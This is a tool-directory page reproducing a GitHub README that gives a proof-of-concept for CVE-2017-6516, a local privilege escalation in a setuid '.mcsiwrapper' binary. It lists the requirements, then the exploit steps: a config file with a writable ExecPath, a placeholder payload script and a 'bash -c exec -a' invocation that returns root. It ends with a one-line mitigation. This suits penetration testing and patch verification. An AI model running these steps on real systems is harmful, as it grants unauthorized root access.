Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/rubytox/cve-2017-6516-mcsiwrapper-
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubrubytox/cve-2017-6516-mcsiwrapper-

CVE-2017-6516-mcsiwrapper-

A PoC / methodology to exploit CVE-2017-6516

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-6516

CVE-2017-6516 is a privilege escalation vulnerability that targets the .mcsiwrapper binary from MagniCorp SysInfo under version 10-H64. When this binary has the SUID bit set and is outdated, a user may execute arbitrary code as the owner of the binary - which is often root.

Requirements

  • The binary .mcsiwrapper must be setuid:
root@kitploit:~
$ ls -l .mcsiwrapper
-rwsr-xr-x 1 root root .mcsiwrapper
  • The binary .mcsiwrapper must be under version 10-H64:
root@kitploit:~
$ .mcsiwrapper --version
<Version under 10-H64>

Exploitation

Create a file config with the following contents:

root@kitploit:~
ExecPath=<Path to a writeable directory>

Create a payload executable file in the ExecPath directory, for instance:

root@kitploit:~
#!/bin/sh
whoami

And make it executable:

root@kitploit:~
$ chmod +x payload

Run the command:

root@kitploit:~
$ bash -c "exec -a payload .mcsiwrapper --configfile <path to config file>"
root

Mitigations

Update .mcsiwrapper to at least 10-H64.

Download Tool